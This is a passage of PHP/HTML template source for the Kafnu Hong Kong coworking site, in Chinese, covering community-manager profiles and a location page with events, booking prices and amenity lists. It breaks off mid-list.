data-image-mobile="images_cms/community/community-slider-01-mobile.jpg" alt=""> </div> <div class="text-container"> <h5 class="country">香港</h5> <h4 class="name">Pico Ho</h4> <p class="description">我是一名具尊重及同理心的聆聽者 我喜歡在空餘時跟朋友遠足和露營 當你遇到困難,我將會陪在你身旁跟你一起解決</p> </div> </div> <!-- page-community-managers-item-mobile --> </div> <!-- page-community-managers-mobile --> </div> </div> <!-- row --> </div> <div id="page-community-managers-thumbnails-mobile"> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-01-mobile.jpg" data-name="Pico Ho" data-country="香港" data-description="我是一名具尊重及同理心的聆聽者。我喜歡在空餘時跟朋友遠足和露營。當你遇到困難,我將會陪在你身旁跟你一起解決。"> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-02-mobile.jpg" data-name="Jenna Ho" data-country="香港" data-description="音樂是我的信仰,也是我抒發情感的渠道;我13歲的時候便可以創作歌曲。我的座右銘是:想做便去做。"> <img src="images_cms/community/slider-thumbnail-02.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-03-mobile.jpg" data-name="Ben Ng" data-country="香港" data-description='電影是我的靈感泉源,不管是令人愉快的故事,還是讓人掉淚的情節。我曾遇過許多挫折,但正因為這些經歷,才能成就今天的我。'> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-04-mobile.jpg" data-name="Michelle Lui" data-country="香港" data-description="一個平凡的名字亦可以活出一個非同凡享的生命。我是一個超級喜歡冒險的人—我熱愛激流、獨木舟、探險。"> <img src="images_cms/community/slider-thumbnail-04.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-05-mobile.jpg" data-name="Karl Li" data-country="香港" data-description='我經常持批判性的思維,在團隊中常擔任”魔鬼的倡導者”角色。我最喜歡的書是"From 0 to 1"。它啟發了我的思維,激發我不斷創新。'> <img src="images_cms/community/slider-thumbnail-05.jpg" class="img-responsive" alt=""> </div> <!-- <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-01-mobile.jpg" data-name="Pico Ho" data-country="Hong Kong" data-description="I'm a listener with empathy and respect. My hobbies are photography, hiking and camping."> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> --> </div> </article> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_community.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('community.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` kafnuhk.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-country"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-desktop-spacer hidden-xs hidden-sm"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="country-version"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-lg-9 col-md-8 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/hong-kong-banner.jpg"> </div> </div> <div class="col-lg-3 col-md-4 no-padding"> <div id="banner-sidebar-container" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-01.jpg" data-image-tablet="images_cms/country/event-slider-01.jpg" data-image-mobile="images_cms/country/event-slider-01.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>邁向未來的願景擘畫</h5> <p>2017.10.12 - 06:30PM</p> <p>Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-02.jpg" data-image-tablet="images_cms/country/event-slider-02.jpg" data-image-mobile="images_cms/country/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>HICAP論壇歡迎酒會</h5> <p>2017.10.19 - 07:00PM</p> <p>前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div><!- - banner-sidebar-item - -> --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-03.jpg" data-image-tablet="images_cms/country/event-slider-03.jpg" data-image-mobile="images_cms/country/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>“未知領域”晚宴</h5> <p>2017.10.20 - 06:00PM</p> <p>Kafnu作東,邀請你與HICAP參與者共同體驗香港最隱密的私房餐廳。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div><!- - banner-sidebar-item - -> --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-04.jpg" data-image-tablet="images_cms/country/event-slider-04.jpg" data-image-mobile="images_cms/country/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>商務發展在台灣</h5> <p>2017.10.30 - 2017.11.03</p> <p>規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </div> </div> <!-- row --> </div> </div> <!-- page-default-banner-image --> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/country/hong-kong-banner.jpg" data-image-mobile="images_cms/country/hong-kong-banner.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>Kafnu 香港</h1> <h3>位在紅磡中心,維多利亞港邊,充滿動力的社群空間</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-default-booking-section"> <div class="container-fluid reduce-padding"> <div id="page-default-booking-item-desktop" class="hidden-sm hidden-xs"> <div class="row"> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-01.jpg" data-image-tablet="images_cms/country/booking-space-01.jpg" data-image-mobile="images_cms/country/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>辦公空間</h5> <p>選擇你最喜愛的座位,按照需求預訂。費用可以小時計,亦可以日租或月租形式預訂。</p> <span id="price-changes" class="price">費用: HK$70/小時起</span> </div> <div class="page-default-booking-item-cta-container dropdown-version"> <a href="javascript:void(0);" class="square-cta border-version">按此預約</a> <ul id="book-now-dropdown"> <li><a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361936" target="_blank" data-price="費用: HK$70/小時起">每小時</a></li> <li><a href="https://hongkong.kafnu.com/zh/signup?returnUrl=/zh/store/signupproducts?productid=435575149" target="_blank" data-price="每日 – 從HK$550起">每日</a></li> <li><a href="https://hongkong.kafnu.com/zh/signup?returnUrl=/zh/store/signupproducts?productid=454185756" data-price="五日配套 – 從HK$2,500起" target="_blank">五日配套</a></li> <li><a href="https://hongkong.kafnu.com/zh/tour" data-price="費用: HK$6500/月起" target="_blank">每月</a></li> </ul> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-02.jpg" data-image-tablet="images_cms/country/booking-space-02.jpg" data-image-mobile="images_cms/country/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>四人會議空間</h5> <p>藝術風格設計,配有舒適座位與高畫質螢幕</p> <span class="price">費用: HK$600/小時起</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361933" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-03.jpg" data-image-tablet="images_cms/country/booking-space-03.jpg" data-image-mobile="images_cms/country/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>六人會議空間</h5> <p>工業風格設計,配有數位燈具與無線投影設備</p> <span class="price">費用: HK$750/小時起</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361934" target="_blank" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-04.jpg" data-image-tablet="images_cms/country/booking-space-04.jpg" data-image-mobile="images_cms/country/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>八人會議空間</h5> <p>華麗水族造景設計,配有80吋螢幕 (即將完工)</p> <!-- <span class="price">費用: HK$900/小時起</span> --> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361935" target="_blank" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> </div> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs"> <div class="row"> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="hot-desk"></div> <div class="manic-expand-container-title"> <h5>辦公空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-01.jpg" data-image-tablet="images_cms/country/booking-space-01.jpg" data-image-mobile="images_cms/country/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>辦公空間</h5> <p>選擇你最喜愛的座位,按照需求預訂。費用可以小時計,亦可以日租或月租形式預訂。</p> <!-- <span class="price">費用: HK$70/小時 起</span> --> </div> <div class="booknow-slider kafnu-slick-slider"> <div class="booknow-slider-item"> <span class="time">每小時</span> <span class="price">費用: HK$70/小時起</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361936" target="_blank" class="square-cta border-version">按此預約</a> </div> </div> <div class="booknow-slider-item"> <span class="time">每日</span> <span class="price">每日 – 從HK$550起</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/signup?returnUrl=/zh/store/signupproducts?productid=435575149" target="_blank" class="square-cta border-version">按此預約</a> </div> </div> <div class="booknow-slider-item"> <span class="time">五日配套</span> <span class="price">五日配套 – 從HK$2,500起</span> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/signup?returnUrl=/zh/store/signupproducts?productid=454185756" target="_blank" class="square-cta border-version">按此預約</a> </div> </div> <div class="booknow-slider-item"> <span class="time">每个月</span> <!-- <span class="price">費用: HK$70/小時起</span> --> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/tour" target="_blank" class="square-cta border-version">按此預約</a> </div> </div> </div> <!-- <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> </div> --> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" data-value="4-person"></div> <div class="manic-expand-container-title"> <h5>四人會議空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-02.jpg" data-image-tablet="images_cms/country/booking-space-02.jpg" data-image-mobile="images_cms/country/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>四人會議空間</h5> <p>藝術風格設計,配有舒適座位與高畫質螢幕</p> <span class="price">費用: HK$600/小時 起</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361933" target="_blank" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" data-value="6-person"></div> <div class="manic-expand-container-title"> <h5>六人會議空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-03.jpg" data-image-tablet="images_cms/country/booking-space-03.jpg" data-image-mobile="images_cms/country/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>六人會議空間</h5> <p>工業風格設計,配有數位燈具與無線投影設備</p> <span class="price">費用: HK$750/小時 起</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361934" target="_blank" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item"> <div class="manic-expand-container"> <div class="scroll-target" data-value="8-person"></div> <div class="manic-expand-container-title"> <h5>八人會議空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/booking-space-04.jpg" data-image-tablet="images_cms/country/booking-space-04.jpg" data-image-mobile="images_cms/country/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>八人會議空間</h5> <p>華麗水族造景設計,配有80吋螢幕 (即將完工)</p> <span class="price">費用: HK$900/小時 起</span> </div> <div class="page-default-booking-item-cta-container"> <a href="https://hongkong.kafnu.com/zh/bookings/search?type=435361935" target="_blank" class="square-cta border-version">按此預約</a> <!-- <a href="javascript:void(0);" class="open-soon"><span>即將開放預訂</span></a> --> </div> </div> </div> </div> </div> </div> </div> </article> <article id="page-country-main-content-section"> <div class="container-fluid reduce-padding"> <div id="page-country-main-content-item-container" class="hidden-xs hidden-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>生活</h5> <h6>在Kafnu香港,過最好的生活</h6> <ul> <li class="hk-live-01"> <p class="title">由 Morsel or Dockyard 提供訂製送餐服務</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim finibus.</p> --> </li> <li class="hk-live-02"> <p class="title">會員專屬健身房與泳池</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> --> </li> <li class="hk-live-03"> <p class="title">飯店房價優惠</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="hk-live-04"> <p class="title">提供咖啡、茶及小點</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 no-padding v-align-col left-col"> <div class="page-country-main-content-item-text"> <h5>工作</h5> <h6>啟發靈感的工作生態系 </h6> <ul> <li class="hk-work-01"> <p class="title">生態設計空間</p> </li> <li class="hk-work-02"> <p class="title">高度可調式工作桌</p> </li> <li class="hk-work-03"> <p class="title">事務機服務</p> </li> <li class="hk-work-04"> <p class="title">設計風格會議室</p> </li> <li class="hk-work-05"> <p class="title">隔音電話亭</p> </li> <li class="hk-work-06"> <p class="title">自然採光環境</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-8 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/work.jpg" data-image-tablet="images_cms/country/work.jpg" data-image-mobile="images_cms/country/work.jpg" alt=""> </div> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-8 no-padding v-align-col"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-01.jpg" data-image-tablet="images_cms/country/play-01.jpg" data-image-mobile="images_cms/country/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-02.jpg" data-image-tablet="images_cms/country/play-02.jpg" data-image-mobile="images_cms/country/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-4 no-padding v-align-col right-col"> <div class="page-country-main-content-item-text"> <h5>玩樂</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li class="hk-play-01"> <p class="title">舒適的休閒設施</p> </li> <li class="hk-play-02"> <p class="title">健身房與泳池使用規則</p> </li> <li class="hk-play-03"> <p class="title">會員周間歡樂時光</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>學習</h5> <h6>不斷電的學習旅程</h6> <ul> <li class="hk-learn-01"> <p class="title">活動及業師諮詢</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="hk-learn-02"> <p class="title">專家諮詢</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="hk-learn-03"> <p class="title">會員夥伴工具與優惠</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-6 col-md-offset-1 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/learn.jpg" data-image-tablet="images_cms/country/learn.jpg" data-image-mobile="images_cms/country/learn.jpg" alt=""> </div> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/rest.jpg" data-image-tablet="images_cms/country/rest.jpg" data-image-mobile="images_cms/country/rest.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>休憩</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li class="hk-rest-01"> <p class="title">躺椅與沙發床</p> </li> <li class="hk-rest-02"> <p class="title">療程會員優惠</p> </li> <li class="hk-rest-03"> <p class="title">海港景觀</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> <div id="page-country-main-content-item-container-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live-mobile.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>生活</h5> <h6>在Kafnu香港,過最好的生活</h6> <ul> <li> <i class="hk-live-01"></i> <p class="title">由Morsel or Dockyard提供訂製送餐服務</p> </li> <li> <i class="hk-live-02"></i> <p class="title">會員專屬健身房與泳池</p> </li> <li> <i class="hk-live-03"></i> <p class="title">飯店房價優惠</p> </li> <li> <i class="hk-live-04"></i> <p class="title">咖啡</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/work.jpg" data-image-tablet="images_cms/country/work.jpg" data-image-mobile="images_cms/country/work.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>工作</h5> <h6>啟發靈感的工作生態系</h6> <ul> <li> <i class="hk-work-01"></i> <p class="title">生態設計空間</p> </li> <li> <i class="hk-work-02"></i> <p class="title">高度可調式工作桌</p> </li> <li> <i class="hk-work-03"></i> <p class="title">事務機服務</p> </li> <li> <i class="hk-work-04"></i> <p class="title">設計風格會議室</p> </li> <li> <i class="hk-work-05"></i> <p class="title">隔音電話亭</p> </li> <li> <i class="hk-work-06"></i> <p class="title">自然採光環境</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-01.jpg" data-image-tablet="images_cms/country/play-01.jpg" data-image-mobile="images_cms/country/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country/play-02.jpg" data-image-tablet="images_cms/country/play-02.jpg" data-image-mobile="images_cms/country/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>玩樂</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li> <i class="hk-play-01"></i> <p class="title">舒適的休閒設施</p> </li> <li> <i class="hk-play-02"></i> <p class="title">健身房與泳池使用規則</p> </li> <li> <i class="hk-play-03"></i> <p class="title">會員周間歡樂時光</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/live.jpg" data-image-tablet="images_cms/country/live.jpg" data-image-mobile="images_cms/country/live.jpg" alt=""> </div> </div> <div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>學習</h5> <h6>不斷電的學習旅程</h6> <ul> <li> <i class="hk-learn-01"></i> <p class="title">活動及業師諮詢</p> </li> <li> <i class="hk-learn-02"></i> <p class="title">專家諮詢</p> </li> <li> <i class="hk-learn-03"></i> <p class="title">會員夥伴工具與優惠</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/rest.jpg" data-image-tablet="images_cms/country/rest.jpg" data-image-mobile="images_cms/country/rest.jpg" alt=""> </div> </div><!-- --><div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>休憩</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li> <i class="hk-rest-01"></i> <p class="title">躺椅與沙發床</p> </li> <li> <i class="hk-rest-02"></i> <p class="title">SPA療程會員優惠</p> </li> <li> <i class="hk-rest-03"></i> <p class="title">海港景觀</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> </div> <!-- container-fluid --> </article> <article id="page-country-event-content-section-mobile" class="visible-sm visible-xs"> <div id="banner-sidebar-container-mobile" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-01.jpg" data-image-tablet="images_cms/country/event-slider-01.jpg" data-image-mobile="images_cms/country/event-slider-01-mobile.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>邁向未來的願景擘畫</h5> <p>2017.10.12 - 06:30PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-02.jpg" data-image-tablet="images_cms/country/event-slider-02.jpg" data-image-mobile="images_cms/country/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>HICAP論壇歡迎酒會</h5> <p>2017.10.19 - 07:00PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-03.jpg" data-image-tablet="images_cms/country/event-slider-03.jpg" data-image-mobile="images_cms/country/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>“未知領域”晚宴</h5> <p>2017.10.20 - 06:00PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">Kafnu作東,邀請你與HICAP參與者共同體驗香港最隱密的私房餐廳。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/event-slider-04.jpg" data-image-tablet="images_cms/country/event-slider-04.jpg" data-image-mobile="images_cms/country/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>商務發展在台灣</h5> <p>2017.10.30 - 2017.11.03</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </article> <article id="page-country-extra-content-section"> <div class="container-fluid reduce-padding"> <div class="page-country-extra-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country/community-manager.jpg" data-image-tablet="images_cms/country/community-manager.jpg" data-image-mobile="images_cms/country/community-manager.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h4>香港社群經理團隊</h4> <!-- <h4>justin lorem</h4> --> <p>Kafnu 香港社群經理團隊,擁有多元背景,充滿熱情活力。來 Kafnu 走走,和我們聊聊吧!</p> <ul> <li><span>Pico Ho</span></li> <li><span>Karl Li </span></li> <li><span>Jenna Ho</span></li> </ul> <ul> <li><span>Michelle 